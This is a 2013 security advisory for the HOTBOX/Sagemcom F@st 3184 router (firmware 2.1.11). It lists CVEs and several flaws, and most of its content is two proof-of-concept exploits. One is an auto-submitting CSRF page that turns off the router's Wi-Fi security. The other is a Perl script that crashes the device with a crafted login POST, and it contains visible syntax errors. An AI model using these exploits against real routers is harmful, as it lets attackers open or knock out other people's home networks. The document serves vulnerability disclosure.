HOTBOX router/modem version 2.1.11 suffers from cross site request forgery, denial of service, script injection, and directory traversal vulnerabilities. Denial of service and cross site request forgery proof of concepts included.
585492350dc0303ed89cfacabf2156926a2aaab57dd7657dc750ff289331075a+------------------------------------------------------------------------------+
| HOTBOX is the leading router/modem appliance of |
| HOT Cable communication company in israel. |
| The Appliance is manufactured by SAGEMCOM |
| and carries the model name F@st 3184. |
+------------------------------------------------------------------------------+
| Title: HOTBOX Multiple Vulnerabilities |
+--------------------+---------------------------------------------------------+
| Release Date | 2013/09/09 |
| Researcher | Oz Elisyan |
+--------------------+---------------------------------------------------------+
| System Affected | HOTBOX Router/Modem |
| Versions Affected | 2.1.11 , possibly earlier |
| Related CVE Numbers | CVE-2013-5037, CVE-2013-5038|
| CVE-2013-5220, CVE-2013-5219, CVE-2013-5218, |
| CVE-2013-5039 |
| Vendor Patched | N/A |
| Classification | 0-day |
| Exploits | http://elisyan.com/hotboxDoS.pl, |
| http://elisyan.com/hotboxCSRF.html |
+--------------------+---------------------------------------------------------+
Vulnerabilities List -
# Default WPS Pin
# Authentication based on IP Address
# DoS via crafted POST
# Path/Directory Traversal
# Script injection via DHCP request
# No CSRF Token
Demo -
http://www.youtube.com/watch?v=CPlT09ZIj48
CSRF EXPLOIT:
<html>
<form action='http://192.168.1.1/goform/wlanBasicSecurity' method='POST' id=1>
<input type=hidden name="WirelessMacAddr" value="C0%3AAC%3A54%3AF8%3A67%3A58" id="WirelessMacAddr">
<input type=hidden name="WirelessEnable1" value="1" id="WirelessEnable1">
<input type=hidden name="ServiceSetIdentifier1" value="Elisyan" id="ServiceSetIdentifier1">
<input type=hidden name="WirelessVendorMode" value="3" id="WirelessVendorMode">
<input type=hidden name="ChannelNumber1" value="0" id="ChannelNumber1">
<input type=hidden name="NBandwidth1" value="20" id="NBandwidth1">
<input type=hidden name="ClosedNetwork1" value="0" id="ClosedNetwork1">
<input type=hidden name="WifiSecurity" value="0" id="WifiSecurity">
<input type=hidden name="commitwlanBasicSecurity" value="1" id="commitwlanBasicSecurity">
<input type=hidden name="restoreWirelessDefaults1" value="0" id="restoreWirelessDefaults1">
<input type=hidden name="scanActions1" value="0" id="scanActions1">
<input type=hidden name="AutoSecurity1" value="1" id="AutoSecurity1">
<input type=hidden name="wpsActions1" value="0" id="wpsActions1">
</form>
</html>
<script>document.getElementById(1).submit();</script>
DENIAL OF SERVICE EXPLOIT:
use warnings;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
# Author: Oz Elisyan
# Date: 3 September 2013
# Affected Version: <= 2.1.11
print "# HOTBOX DoS PoC #\n\n"
unless ($ARGV[0]){
print "Please Enter Valid Host Name.\n";
exit();
}
print "Sending Evil POST request...\n";
my $HOST = $ARGV[0];
my $URL = "http://$HOST/goform/login";
my $PostData = "loginUsername=aaaloginPassword=aaa"
my $browser = LWP::UserAgent->new();
my $req = HTTP::Request->new(POST => $URL);
$req->content_type("application/x-www-form-urlencoded");
$req->content($PostData);
my $resp = $browser->request($req);
print "Done.";
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